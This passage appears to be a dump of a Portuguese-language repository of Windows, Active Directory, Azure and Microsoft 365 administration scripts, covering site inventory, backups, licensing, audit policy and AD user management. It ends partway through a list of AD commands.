├── AD-SiteInventory ├── AD_Sync ├── ActivateWin11-beta ├── AddIP-RoutesToAzureVPN ├── AgendamentoDeBackup ├── AlterandoLicenciamento365 ├── AlterarChaveAtivWin ├── ApropriacaoForcada ├── AtivarReptoline ├── AuditPolSet ├── AzureBasic-01 ├── AzureBasic-02 ├── BackupDrivers ├── BackupWindowsCA ├── BranchCache ├── CheckStatusBitlocker ├── ChromeVersion ├── CleanChrome ├── ColetaDeEvidencias ├── ColetaDeVulnerabilidades ├── ColetarMarcaE-ModeloComputador ├── ColocarDominio ├── ComandosAdmADDS ├── ConfigAuditoriaDePastas ├── ConfigEnderecosIpMultiplosServerCore ├── ConfigRedePowershell ├── ConfiguracoesPowershell ├── ConfigurarPlacaDeRede ├── ConfigurarServidorNTP ├── ConfigureWSUS-ToScript ├── CopiaBitABit ├── CorrecaoHorarioDeVerao ├── CorrigirRelacaoDeConfianca ├── CriaoregistroAutoShareWks ├── Criar-Estrutura-AD-01 ├── CriarAmbienteHyper-V-v1 ├── CriarEntrada060PXE ├── CriarRegistroLocalAccount ├── CriarSenhaAleatoria ├── CriarUsuarioADDS-EmVolume ├── CriarUsuarioLocal ├── CriarUsuarioLocal-v2 ├── CriptoCompartSMB ├── DadosDeVideoPelaBIOS-Lenovo ├── DesabilitarSSL ├── DesativarAppLocker ├── DesativarIE-EnSecConf ├── DesativarLLMNR ├── DesativarMapBroker ├── DesativarSMB-V1 ├── DesativarSSL-2 ├── DesativarUAC ├── DesinstalarProgPadrWindows ├── DesligarFirewallWindows ├── DisableAppLocker ├── DisableAppLockerByReg ├── DisableTeamsGPO ├── DisableWindowsDefender ├── EventViewer ├── ExemploROBOCOPY ├── ExfiltrationPassword ├── FTP-Forceps ├── Filtrar-e-exportar-chaves-de-registro ├── GetInstallDateWindows ├── HabilitandoTLS-1-2 ├── HabilitarHerancaDePasta ├── HabilitarTLS-Win7eWin8 ├── HardeningTS ├── Hyper-V-Lab ├── Identifica-conex-wifi ├── IdentificarIdleTime ├── InformacoesBIOS ├── InformacoesDeBlocoDeDisco ├── InformacoesDeImpressoras ├── InstalarConteiner ├── InstallTelnetClient ├── LenovoCustomSCCM ├── LimparChavesDeRegistroRumba-Microfocus ├── ListaDeProgramasInstalados ├── ListarIP-Ativo ├── ListarUsuariosDeContaSistLocal ├── LocalizarArquivosComDIR ├── LocalizarUsuario ├── LocateHostnameFromUserTXT ├── MemDump ├── PermissaoExecScript ├── PesquisaAD ├── ProcessosAtivos ├── QuerySCCM-porHostname ├── Rascunho ├── Reiniciaoserviço ├── RemoverLicençasTS-Ativa ├── RenomerComputadorPowerShell ├── ResetPasswordAD_All ├── ResetPasswordPorInvoke ├── Restart-ComputerPS1 ├── Revert Snapshot.ps1 ├── SCCM-01 ├── SCRIPT-IMPORTACAO-USUARIOS-AD-POPOVICI-01.xlsx ├── SCRIPT-TESTE-DO-TIO-EDU-02.csv ├── SCRIPT-TESTE-DO-TIO-EDU-02.txt ├── SCRIPT-USUARIOS-TESTE-1.csv ├── SCRIPT-USUARIOS-TESTE-2.csv ├── ScriptCopiaBitABit ├── ScriptDeCopiaRobusta-Robocopy ├── ScriptDeLimpeza ├── ScriptParaReparoDeRelacaoDeConfianca ├── ScriptsEnableRDP ├── SessaoPersistente ├── SidUserADDS ├── TestAdDnsRecords.cmd ├── TesteConectividade-01 ├── TesteDePortasAtivas ├── ValidacaoDeHostPorListaDeIP ├── VerificaAutoShareWksnoRegistrodoWindows ├── VersaoPS ├── WSUS-Forceps ├── Winmgmt-01 ├── adrt_inventario_ADDS.rar ├── certificado-auto-assinado-01 ├── deploy365script.ps1 ├── usuarios-senha-expirada └── wvd-publishapps.ps1 /AD-SiteInventory: -------------------------------------------------------------------------------- 1 | function Get-ADSiteInventory { 2 | <# 3 | .SYNOPSIS 4 | This function will retrieve information about the Sites and Services of the Active Directory 5 | .DESCRIPTION 6 | This function will retrieve information about the Sites and Services of the Active Directory 7 | .EXAMPLE 8 | Get-ADSiteInventory 9 | .EXAMPLE 10 | Get-ADSiteInventory | Export-Csv -Path .\ADSiteInventory.csv 11 | This will save all the site inventory to csv file 12 | .OUTPUTS 13 | PSObject 14 | .NOTES 15 | AUTHOR : Francois-Xavier Cat 16 | DATE : 2014/02/02 17 | VERSION HISTORY : 18 | 1.0 | 2014/02/02 | Francois-Xavier Cat 19 | Initial Version 20 | 1.1 | 2014/02/02 | Francois-Xavier Cat 21 | Update some verbose messages 22 | .LINK 23 | https://github.com/lazywinadmin/PowerShell 24 | #> 25 | [CmdletBinding()] 26 | PARAM() 27 | PROCESS { 28 | TRY { 29 | # Get Script name 30 | $ScriptName = (Get-Variable -name MyInvocation -Scope 0 -ValueOnly).Mycommand 31 | 32 | # Domain and Sites Information 33 | Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest" 34 | $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() 35 | Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest sites" 36 | $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites 37 | 38 | # Forest Context 39 | Write-Verbose -message "[$ScriptName][PROCESS] Create forest context" 40 | $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" 41 | $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType, $Forest 42 | 43 | # Distinguished Name of the Configuration Partition 44 | Write-Verbose -message "[$ScriptName][PROCESS] Retrieve RootDSE Configuration Naming Context" 45 | $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext 46 | 47 | # Get the Subnet Container 48 | Write-Verbose -message "[$ScriptName][PROCESS] Get the Subnet Container" 49 | $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" 50 | 51 | FOREACH ($item in $SiteInfo) { 52 | 53 | Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name)" 54 | 55 | # Get the Site Links 56 | Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Getting Site Links" 57 | $LinksInfo = ([System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::FindByName($ForestContext, $($item.name))).SiteLinks 58 | 59 | # Create PowerShell Object and Output 60 | Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Preparing Output" 61 | 62 | New-Object -TypeName PSObject -Property @{ 63 | Name = $item.Name 64 | SiteLinks = $item.SiteLinks -join "," 65 | Servers = $item.Servers -join "," 66 | Domains = $item.Domains -join "," 67 | Options = $item.options 68 | AdjacentSites = $item.AdjacentSites -join ',' 69 | InterSiteTopologyGenerator = $item.InterSiteTopologyGenerator 70 | Location = $item.location 71 | Subnets = ( $info = Foreach ($i in $item.Subnets.name) { 72 | $SubnetAdditionalInfo = $SubnetsContainer.Children | Where-Object -FilterScript { $_.name -like "*$i*" } 73 | "$i -- $($SubnetAdditionalInfo.Description)" 74 | }) -join "," 75 | #SiteLinksInfo = $LinksInfo | fl * 76 | 77 | #SiteLinksInfo = New-Object -TypeName PSObject -Property @{ 78 | SiteLinksCost = $LinksInfo.Cost -join "," 79 | ReplicationInterval = $LinksInfo.ReplicationInterval -join ',' 80 | ReciprocalReplicationEnabled = $LinksInfo.ReciprocalReplicationEnabled -join ',' 81 | NotificationEnabled = $LinksInfo.NotificationEnabled -join ',' 82 | TransportType = $LinksInfo.TransportType -join ',' 83 | InterSiteReplicationSchedule = $LinksInfo.InterSiteReplicationSchedule -join ',' 84 | DataCompressionEnabled = $LinksInfo.DataCompressionEnabled -join ',' 85 | #} 86 | #> 87 | }#New-Object -TypeName PSoBject 88 | }#Foreach ($item in $SiteInfo) 89 | }#TRY 90 | CATCH { 91 | # Return the last error 92 | $PSCmdlet.ThrowTerminatingError($_) 93 | }#CATCH 94 | }#PROCESS 95 | END { 96 | Write-Verbose -Message "[$ScriptName][END] Script Completed!" 97 | }#END 98 | }#get-ADSiteServicesInfo 99 | 100 | #get-ADSiteServicesInfo #| export-csv .\test.csv 101 | #Get-ADSiteInventory 102 | -------------------------------------------------------------------------------- /AD_Sync: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # AD SYNC # 3 | ################################################# 4 | 5 | Import-Module ADSync 6 | Get-ADSyncScheduler 7 | Start-ADSyncSyncCycle -PolicyType Delta 8 | Start-ADSyncSyncCycle -PolicyType Initial 9 | -------------------------------------------------------------------------------- /AddIP-RoutesToAzureVPN: -------------------------------------------------------------------------------- 1 | ############################################################# 2 | # Adds IP routes to Azure VPN through the Point-To-Site VPN 3 | ############################################################# 4 | 5 | # Define your Azure Subnets 6 | $ips = @("10.0.1.0", "10.0.2.0","10.0.0.0") 7 | 8 | # Point-To-Site IP address range 9 | # should be the first 4 octets of the ip address '172.16.0.14' == '172.16.0. 10 | 11 | $azurePptpRange = "172.16.20." 12 | 13 | # Find the current new DHCP assigned IP address from Azure 14 | $azureIpAddress = ipconfig | findstr $azurePptpRange 15 | 16 | # If Azure hasn't given us one yet, exit and let u know 17 | if (!$azureIpAddress){ 18 | "You do not currently have an IP address in your Azure subnet." 19 | exit 1 20 | } 21 | 22 | $azureIpAddress = $azureIpAddress.Split(": ") 23 | $azureIpAddress = $azureIpAddress[$azureIpAddress.Length-1] 24 | $azureIpAddress = $azureIpAddress.Trim() 25 | 26 | # Delete any previous configured routes for these ip ranges 27 | foreach($ip in $ips) { 28 | $routeExists = route print | findstr $ip 29 | if($routeExists) { 30 | "Deleting route to Azure: " + $ip 31 | route delete $ip 32 | } 33 | } 34 | 35 | # Add our new routes to Azure Virtual Network 36 | foreach($subnet in $ips) { 37 | "Adding route to Azure: " + $subnet 38 | echo "route add $ip MASK 255.255.255.0 $azureIpAddress" 39 | route add $subnet MASK 255.255.255.0 $azureIpAddress 40 | } 41 | -------------------------------------------------------------------------------- /AgendamentoDeBackup: -------------------------------------------------------------------------------- 1 | # Agendando Jobs 2 | # Criado 03 variáveis para ajudar com os exemplos 3 | # Script de criação de backups 4 | # Para visualizar o job, abra o agendador de tarefas do windows e navegue até Windows, powershell, schedulejobs 5 | 6 | Clear-Host # Limpa a tel para a próxima execução 7 | 8 | Get-Command -Module PSScheduledJob | Sort-object Noun # Mostra as informações relacionadas ao Modulo PSSchedulejob e seus types 9 | 10 | $diario = New-JobTrigger -Daily -at 3am # Variável que armazena a trigger diária 11 | $umavez = New-JobTrigger -Once -at (get-date).AddHours(1) # Variável que armazena a trigger uma única vez 12 | $semana1 = New-JobTrigger -Weekly -DaysOfWeek Monday -at 6pm # variável que armazena o bkp semanal 13 | 14 | # Bloco que registra a criação do job 15 | Register-ScheduledJob -Name Backup -Trigger $diario -ScriptBlock { 16 | #Copy-Item c:\pasta01\*.* c:\pasta02\ -Recurse -Force 17 | robocopy D:\ G:\BACKUP /ZB /R:0 /W:0 /COPYALL /MIR /ts /tee /log+:c:\logrobocopy\log_BACKUP.txt 18 | # /ZB :: usar o modo reinici vel; se o acesso for negado, 19 | # /R:n :: n£mero de Repeti‡äes em c¢pias com falhas: o padrÆo ‚ 1 milhÆo. 20 | # /W:n :: tempo de espera entre as repeti‡äes: o padrÆo‚ 30 segundos. 21 | # /COPYALL :: COPIAR TODAS as informa‡äes do arquivo (equivalente a /COPY:DATSOU). 22 | # /MIR :: espelhar uma árvore de diret¢rios (equivalente a /E mais /PURGE). 23 | # /TS :: incluir carimbo de data/hora no arquivo de origem na sa¡da. 24 | # /TEE :: sa¡da para janela de console, assim como arquivo de log. 25 | /LOG+:arquivo :: status de sa¡da para arquivos de log (anexar a log existente). 26 | } 27 | 28 | # esta linha permite remover - desregistrar o backup 29 | # Get-ScheduledJob Backup | Unregister-ScheduledJob 30 | -------------------------------------------------------------------------------- /AlterandoLicenciamento365: -------------------------------------------------------------------------------- 1 | #Alterando licenciamento Microsoft 365 2 | 3 | Connect-MsolService 4 | 5 | #### Verificar o nome da licença do Office 365 6 | Get-MsolAccountSku 7 | 8 | #### SKU de algumas licenças 9 | OFFICE 365 ENTERPRISE E1 - STANDARDPACK 10 | OFFICE 365 ENTERPRISE E3 - ENTERPRISEPACK 11 | OFFICE 365 ENTERPRISE E5 - ENTERPRISEPREMIUM 12 | OFFICE 365 ENTERPRISE E5 WITHOUT AUDIO CONFERENCING - ENTERPRISEPREMIUM_NOPSTNCONF 13 | 14 | OFFICE 365 BUSINESS - O365_BUSINESS ou SMB_BUSINESS 15 | OFFICE 365 BUSINESS ESSENTIALS - O365_BUSINESS_ESSENTIALS ou SMB_BUSINESS_ESSENTIALS 16 | OFFICE 365 BUSINESS PREMIUM - O365_BUSINESS_PREMIUM ou SMB_BUSINESS_PREMIUM 17 | 18 | EXCHANGE ONLINE (PLAN 1) - EXCHANGESTANDARD 19 | 20 | MICROSOFT 365 BUSINESS - SPB 21 | MICROSOFT 365 E3 - SPE_E3 22 | 23 | AZURE ACTIVE DIRECTORY PREMIUM P1 - AAD_PREMIUM 24 | AZURE ACTIVE DIRECTORY PREMIUM P2 - AAD_PREMIUM_P2 25 | 26 | 27 | #### Exibir todos os usuários que possui a licença E3 28 | Get-MsolUser -all | select Displayname, Licenses | Where-Object {$_.Licenses.AccountSkuID -eq "akitreinamentos:ENTERPRISEPACK" } 29 | 30 | #### Exibir licença de único usuário 31 | Get-MsolUser -UserPrincipalName alex@akitreinamentos.online | fl DisplayName,Licenses 32 | 33 | #### Trocar licença de um único usuário 34 | Set-MsolUserLicense -UserPrincipalName “alex@akitreinamentos.online” –AddLicenses “akitreinamentos:ENTERPRISEPACK“ –RemoveLicenses “akitreinamentos:SMB_BUSINESS_ESSENTIALS“ 35 | 36 | #### Trocar licença para várias contas 37 | Get-MsolUser -All | select Displayname, Licenses | Where-Object {$_.Licenses.AccountSkuID -eq "akitreinamentos:ENTERPRISEPACK"} | Set-MsolUserLicense –AddLicenses “akitreinamentos:ENTERPRISEPACK“ –RemoveLicenses “akitreinamentos:SMB_BUSINESS_ESSENTIALS“ 38 | -------------------------------------------------------------------------------- /AlterarChaveAtivWin: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Instalar chave de ativação # 3 | ################################################# 4 | 5 | # WS2016 6 | slmgr.vbs -ipk chave 7 | 8 | # WS2012R2 9 | # slmgr.vbs -ipk chave 10 | # slmgr.vbs -ipk chave 11 | # WS2019 12 | # slmgr.vbs -ipk chave 13 | 14 | Start-Sleep -s 5 15 | slmgr.vbs -ato 16 | slmgr.vbs -xpr 17 | 18 | # Start-Sleep -s 5 19 | # shutdown -f -r -t 0 20 | -------------------------------------------------------------------------------- /ApropriacaoForcada: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Apropriação forçada # 3 | ################################################# 4 | 5 | # Para arquivos utilize o seguinte comando: 6 | # takeown /f file_name /d y 7 | # Para pastas ou diretórios, utilize o seguinte comando: 8 | 9 | takeown /f directory_name /r /d y 10 | -------------------------------------------------------------------------------- /AtivarReptoline: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Ativar o Retpoline # 3 | ################################################# 4 | 5 | # Validar suporte ao Reptoline 6 | Install-Module -Name SpeculationControl 7 | Import-Module SpeculationControl 8 | Get-SpeculationControlSettings 9 | 10 | #Habilitar Reptoline 11 | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverride /t REG_DWORD /d 0x400 12 | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v FeatureSettingsOverrideMask /t REG_DWORD /d 0x401 13 | Get-SpeculationControlSettings 14 | -------------------------------------------------------------------------------- /AuditPolSet: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Configura a auditoria de logon # 3 | ################################################# 4 | 5 | Auditpol /set /category:"Account Logon" /Success:enable /failure:enable 6 | Auditpol /set /category:"Logon/Logoff" /Success:enable /failure:enable 7 | Auditpol /set /category:"Account Management" /Success:enable /failure:enable 8 | Auditpol /set /category:"DS Access" /Success:enable /failure:enable 9 | Auditpol /set /category:"Object Access" /Success:enable /failure:enable 10 | Auditpol /set /category:"Policy change" /Success:enable /failure:enable 11 | Auditpol /set /category:"Privilege Use" /failure:enable 12 | Auditpol /set /category:"Detailed Tracking" /failure:enable 13 | Auditpol /set /category:System /Success:enable /failure:enable 14 | -------------------------------------------------------------------------------- /AzureBasic-01: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Utilizando # 3 | ################################################# 4 | 5 | # Logar no Azure via powershell 6 | Login-AzureRmAccount 7 | 8 | # Lista as subscrições 9 | Get-AzureRmSubscription 10 | 11 | # Tenants (assinaturas) - Informa a Microsoft que você fará uso destes recursos dentro da assinatura. Deve ser feito apra novas assinaturas e novas contas. 12 | Register-AzureRmResourceProvider -ProviderNamespace "Microsoft.Network" 13 | Register-AzureRmResourceProvider -ProviderNamespace "Microsoft.Compute" 14 | Register-AzureRmResourceProvider -ProviderNamespace "Microsoft.Storage" 15 | 16 | # Lista os grupos de recursos 17 | Get-AzureRmResourceGroup 18 | 19 | # Validação da localização para criação de grupos de recursos 20 | Get-AzureRmLocation | select Location 21 | 22 | # Criação de grupo de recurso com o Powershell 23 | New-AzureRmResourceGroup -ResourceGroupName "AZ-HTB-SPO-01" -Location "centralus" 24 | 25 | # Listar as VNets 26 | Get-AzureRmVirtualNetwork -ResourceGroupName AZ-HTB-SPO-01 27 | 28 | # Criar Vnet 01 29 | # /21 - 28.19.0.0- 28.19.7.255 (2048 endereços) - Vnet comunica 2048 endereços por vez 30 | # /27 - 28.19.0.0- 28.19.0.31 (32 endereços) - Subnet com 32 endereços válidos 31 | $subnet1 = New-AzureRmVirtualNetworkSubnetConfig -Name "SUBNET-HTB-SPO-01" -AddressPrefix 28.19.0.0/21 32 | New-AzureRmVirtualNetwork -Name "SUBNET-HTB-SPO-AA" -ResourceGroupName "AZ-HTB-SPO-01" -Location "centralus" -AddressPrefix 28.19.0.0/27 -Subnet $subnet1 33 | 34 | # Criar Vnet 02 35 | # /21 - 28.19.8.0- 28.19.15.255 (2048 endereços) - Vnet comunica 2048 endereços por vez 36 | # /27 - 28.19.8.0- 28.19.8.31 (32 endereços) - Subnet com 32 endereços válidos 37 | $subnet1 = New-AzureRmVirtualNetworkSubnetConfig -Name "SUBNET-HTB-SPO-02" -AddressPrefix 28.19.8.0/21 38 | New-AzureRmVirtualNetwork -Name "SUBNET-HTB-SPO-AB" -ResourceGroupName "AZ-HTB-SPO-01" -Location "centralus" -AddressPrefix 28.19.0.0/27 -Subnet $subnet1 39 | -------------------------------------------------------------------------------- /AzureBasic-02: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Instalar Módulo Azure - Powershell - 1 # 3 | ################################################# 4 | 5 | Get-Module PowerShellGet -list | Select-Object Name.Version.Path 6 | Get-Module Azure 7 | Install-Module Azure -AllowClobber 8 | Import-Module Azure 9 | Get-Module Azure 10 | 11 | ################################################# 12 | # Instalar módulo do Azure PS - 2 # 13 | ################################################# 14 | 15 | Install-Module azurerm 16 | Install-Module -Name Az -AllowClobber 17 | Install-Module -Name Az -AllowClobber -Scope CurrentUser 18 | 19 | ################################################# 20 | # Validar versão do Powershell # 21 | ################################################# 22 | 23 | $psversiontable 24 | Login-AzRmAccount 25 | Login-AzureRmAccount 26 | Get-AzSubscription 27 | Get-AzContext 28 | -------------------------------------------------------------------------------- /BackupDrivers: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Backup de drivers # 3 | ################################################# 4 | 5 | Export-WindowsDriver -Online -Destination C:\Drivers 6 | -------------------------------------------------------------------------------- /BackupWindowsCA: -------------------------------------------------------------------------------- 1 | #Criar bkp de database Windows CA 2 | c: 3 | cd \CABackup 4 | $Today = Get-Date -Format ddMM 5 | Backup-CARoleService -DatabaseOnly -Path C:\CABackup\"$Today" 6 | -------------------------------------------------------------------------------- /BranchCache: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Brachcache # 3 | ################################################# 4 | 5 | Enable-BCHostedServer -RegisterSCP 6 | Get-BCstatus 7 | 8 | ################################################# 9 | # Brachcache move # 10 | ################################################# 11 | 12 | set-bccache -MoveTo D:\cache 13 | get-bcstatus 14 | -------------------------------------------------------------------------------- /CheckStatusBitlocker: -------------------------------------------------------------------------------- 1 | manage-bde -status c: 2 | -------------------------------------------------------------------------------- /ChromeVersion: -------------------------------------------------------------------------------- 1 | $Chrome = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | select DisplayName,DisplayVersion | where {$_.DisplayName -like "Google Chrome"} 2 | 3 | if ($Chrome.DisplayVersion -like "86.0.4240.183") 4 | { 5 | Write-Host "Google Chrome version 86.0.4240.183" 6 | } 7 | else 8 | { 9 | Write-Host "Google Chrome version $Chrome.DisplayVersion" 10 | } 11 | -------------------------------------------------------------------------------- /CleanChrome: -------------------------------------------------------------------------------- 1 | Get-Process -Name chrome -ErrorAction SilentlyContinue | Stop-Process -PassThru 2 | 3 | Remove-Item "C:\Windows\temp\Chrome" -Force -Recurse -Confirm:$false -ErrorAction SilentlyContinue 4 | 5 | $MSItoUninstallName = 'Google Chrome' 6 | New-PSDrive -Name Hkey_Classes_Root -PSProvider Registry -Root Hkey_Classes_Root\Installer\Products | Out-Null 7 | $a = Get-ChildItem Hkey_Classes_Root: | ForEach-Object {Get-ItemProperty $_.Pspath} 8 | foreach($name in $a){ 9 | if($name.ProductName -like $MSItoUninstallName){ 10 | 11 | $EndingPath = $name.Pspath | Split-Path -leaf 12 | Set-Location HKey_Classes_Root: 13 | #Write-Host "Erasing HKey_Classes_Root:\$endingPath" 14 | Remove-Item -Path "HKey_Classes_Root:\$endingPath" -Recurse -Force 15 | Get-PSDrive | Remove-PSDrive -Force 16 | } 17 | } 18 | 19 | $chrome64 = "C:\Program Files\Google" 20 | $chrome32 = "C:\Program Files (x86)\Google" 21 | If ($chrome64){Remove-Item $chrome64 -Force -Recurse -Confirm:$false -ErrorAction SilentlyContinue} 22 | if ($chrome32){Remove-Item $chrome32 -Force -Recurse -Confirm:$false -ErrorAction SilentlyContinue} 23 | 24 | 25 | $CCMComObject = New-Object -ComObject 'UIResource.UIResourceMgr 26 | $CacheInfo = $CCMComObject.GetCacheInfo().GetCacheElements() 27 | ForEach ($CacheItem in $CacheInfo) { 28 | 29 | $null = $CCMComObject.GetCacheInfo().DeleteCacheElement([string]$($CacheItem.CacheElementID))} 30 | -------------------------------------------------------------------------------- /ColetaDeEvidencias: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Coleta de evidencias básicas # 3 | ################################################# 4 | 5 | hostname 6 | Get-Date 7 | Get-Disk 8 | Get-Volume 9 | ipconfig 10 | netsh interface show interface 11 | slmgr.vbs -xpr 12 | -------------------------------------------------------------------------------- /ColetaDeVulnerabilidades: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Coleta de vulnerabilidades # 3 | # Hosts with Anonymous Enumeration Vulnerability# 4 | # Hosts with Anonymous Access Vulnerability # 5 | # FTP Anonymous Access # 6 | ################################################# 7 | 8 | Invoke-Command -ComputerName Server01 { 9 | Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" | Select-Object restrictanonymous, restrictanonymoussam 10 | Write-Host "Evidence Anonymous Enumeration and Anonymous Access"} 11 | -------------------------------------------------------------------------------- /ColetarMarcaE-ModeloComputador: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Marca e modelo do computador # 3 | ################################################# 4 | 5 | Get-WmiObject -Class Win32_ComputerSystem 6 | -------------------------------------------------------------------------------- /ColocarDominio: -------------------------------------------------------------------------------- 1 | # Se você precisar adicionar uma conta de usuário de domínio ao grupo de administradores locais, execute o seguinte comando em um prompt de comando (não na janela do PowerShell) 2 | net localgroup administrators /add \ 3 | 4 | # Ingressar um computador em um domínio 5 | Netdom join% ComputerName% /Domain: /userd: /passwordd:* 6 | 7 | # Remover um computador de um domínio 8 | Netdom remover 9 | 10 | # Configurar o arquivo de paginação 11 | WMIC filepageset em que Name = " " Set initialSize = , MaximumSize = 12 | 13 | # Ativar o servidor remotamente 14 | cscript slmgr. vbs – ipk 15 | cscript slmgr. vbs-ato 16 | 17 | # https://docs.microsoft.com/pt-br/windows-server/administration/server-core/server-core-administer 18 | -------------------------------------------------------------------------------- /ComandosAdmADDS: -------------------------------------------------------------------------------- 1 | # Exibir todos os comandos do Active Directory: 2 | get-command -Module ActiveDirectory 3 | 4 | # Exibir informações básicas de domínio: 5 | Get-ADDomain 6 | 7 | # Obter todos os controladores de domínio por nome de host e operação 8 | Get-ADDomainController -filter * | select hostname, operatingsystem 9 | 10 | # Obter todas as políticas de senha refinadas 11 | Get-ADFineGrainedPasswordPolicy -filter * 12 | 13 | # Listar a política de senha do domínio conectado 14 | Get-ADDefaultDomainPasswordPolicy 15 | 16 | # Backup remoto do estado do sistema do Active Directory 17 | # Isso fará o backup dos dados de estado do sistema dos controladores de domínio. 18 | # Altere o nome do DC para o nome do servidor e altere o caminho do backup. 19 | # O caminho do backup pode ser um disco local ou um caminho UNC 20 | invoke-command -ComputerName DC-Name -scriptblock {wbadmin start systemstateback up -backupTarget:"Backup-Path" -quiet} 21 | 22 | # Comandos do PowerShell de usuário do AD 23 | # Obter usuário e listar todas as propriedades (atributos) 24 | # Alterar nome de usuário para samAccountName da conta 25 | Get-ADUser username -Properties * 26 | 27 | # Obter propriedades específicas do usuário e da lista 28 | # Basta adicionar o que você deseja exibir após selecionar 29 | Get-ADUser username -Properties * | Select name, department, title 30 | 31 | # Obter todos os usuários do Active Directory no domínio 32 | Get-ADUser -Filter * 33 | 34 | # Obter todos os usuários de uma UO específica 35 | # OU = o caminho distinto da OU 36 | Get-ADUser -SearchBase “OU=ADPRO Users,dc=ad,dc=activedirectorypro.com” -Filter * 37 | 38 | # Obter usuários do AD por nome 39 | # Este comando encontrará todos os usuários que têm a palavra robert no nome. Basta alterar robert para a palavra que você deseja pesquisar. 40 | get-Aduser -Filter {name -like "*robert*"} 41 | 42 | # Obter todas as contas de usuário desabilitadas 43 | Search-ADAccount -AccountDisabled | select name 44 | 45 | # Desativar conta de usuário 46 | Disable-ADAccount -Identity rallen 47 | 48 | # Ativar conta de usuário 49 | Enable-ADAccount -Identity rallen 50 | 51 | # Obter todas as contas com senha definida para nunca expirar 52 | get-aduser -filter * -properties Name, PasswordNeverExpires | where {$_.passwordNeverExpires -eq "true" } | Select-Object DistinguishedName,Name,Enabled 53 | 54 | # Localizar todas as contas de usuário bloqueadas 55 | Search-ADAccount -LockedOut 56 | 57 | # Desbloquear conta de usuário 58 | Unlock-ADAccount –Identity john.smith 59 | 60 | # Listar todas as contas de usuário desativadas 61 | Search-ADAccount -AccountDisabled 62 | 63 | # Forçar alteração de senha no próximo login 64 | Set-ADUser -Identity username -ChangePasswordAtLogon $true 65 | 66 | # Mover um único usuário para uma nova UO 67 | # Você precisará do distinguishedName do usuário e da UO de destino 68 | Move-ADObject -Identity "CN=Test User (0001),OU=ADPRO Users,DC=ad,DC=activedirectorypro,DC=com" -TargetPath "OU=HR,OU=ADPRO Users,DC=ad,DC=activedirectorypro,DC=com" 69 | 70 | # Mover usuários para uma UO de um CSV 71 | # Configure um csv com um campo de nome e uma lista dos usuários sAmAccountNames. Em seguida, basta alterar o caminho da UO de destino. 72 | # Specify target OU. $TargetOU = "OU=HR,OU=ADPRO Users,DC=ad,DC=activedirectorypro,DC=com" # Read user sAMAccountNames from csv file (field labeled "Name"). Import-Csv -Path Users.csv | ForEach-Object { # Retrieve DN of User. $UserDN = (Get-ADUser -Identity $_.Name).distinguishedName # Move user to target OU. Move-ADObject -Identity $UserDN -TargetPath $TargetOU } 73 | 74 | # Comandos de grupo do AD 75 | # Obter todos os membros de um grupo de segurança 76 | Get-ADGroupMember -identity “HR Full” 77 | 78 | # Obter todos os grupos de segurança 79 | # Isso listará todos os grupos de segurança em um domínio 80 | Get-ADGroup -filter * 81 | 82 | # Adicionar usuário ao grupo 83 | # Altere o nome do grupo para o grupo do AD ao qual você deseja adicionar usuários 84 | Add-ADGroupMember -Identity group-name -Members Sser1, user2 85 | 86 | # Exportar usuários de um grupo 87 | # Isso exportará os membros do grupo para um CSV, alterará o nome do grupo para o grupo que você deseja exportar. 88 | Get-ADGroupMember -identity “Group-name” | select name | Export-csv -path C:OutputGroupmembers.csv -NoTypeInformation 89 | 90 | # Obter grupo por palavra-chave 91 | # Encontre um grupo por palavra-chave. Útil se você não tiver certeza do nome, altere o nome do grupo. 92 | get-adgroup -filter * | Where-Object {$_.name -like "*group-name*"} 93 | 94 | # Importar uma lista de usuários para um grupo 95 | $members = Import-CSV c:itadd-to-group.csv | Select-Object -ExpandProperty samaccountname Add-ADGroupMember -Identity hr-n-drive-rw -Members $members 96 | 97 | # Comandos do computador AD 98 | # Obter todos os computadores 99 | # Isso listará todos os computadores no domínio 100 | Get-AdComputer -filter * 101 | 102 | # Obter todos os computadores por nome 103 | # Isso listará todos os computadores no domínio e exibirá apenas o nome do host 104 | Get-ADComputer -filter * | select name 105 | 106 | # Obter todos os computadores de uma UO 107 | Get-ADComputer -SearchBase "OU=DN" -Filter * 108 | 109 | # Obter uma contagem de todos os computadores no domínio 110 | Get-ADComputer -filter * | measure 111 | 112 | # Obtenha todos os computadores com Windows 10 113 | # Altere o Windows 10 para qualquer sistema operacional que você deseja pesquisar. Este é um dos principais comandos PowerShell para Active Directory 114 | Get-ADComputer -filter {OperatingSystem -Like '*Windows 10*'} -property * | select name, operatingsystem 115 | 116 | # Obter uma contagem de todos os computadores por sistema operacional 117 | # Isso fornecerá uma contagem de todos os computadores e os agrupará pelo sistema operacional. Um ótimo comando para fornecer um inventário rápido de computadores no AD. 118 | Get-ADComputer -Filter "name -like '*'" -Properties operatingSystem | group -Property operatingSystem | Select Name,Count 119 | 120 | # 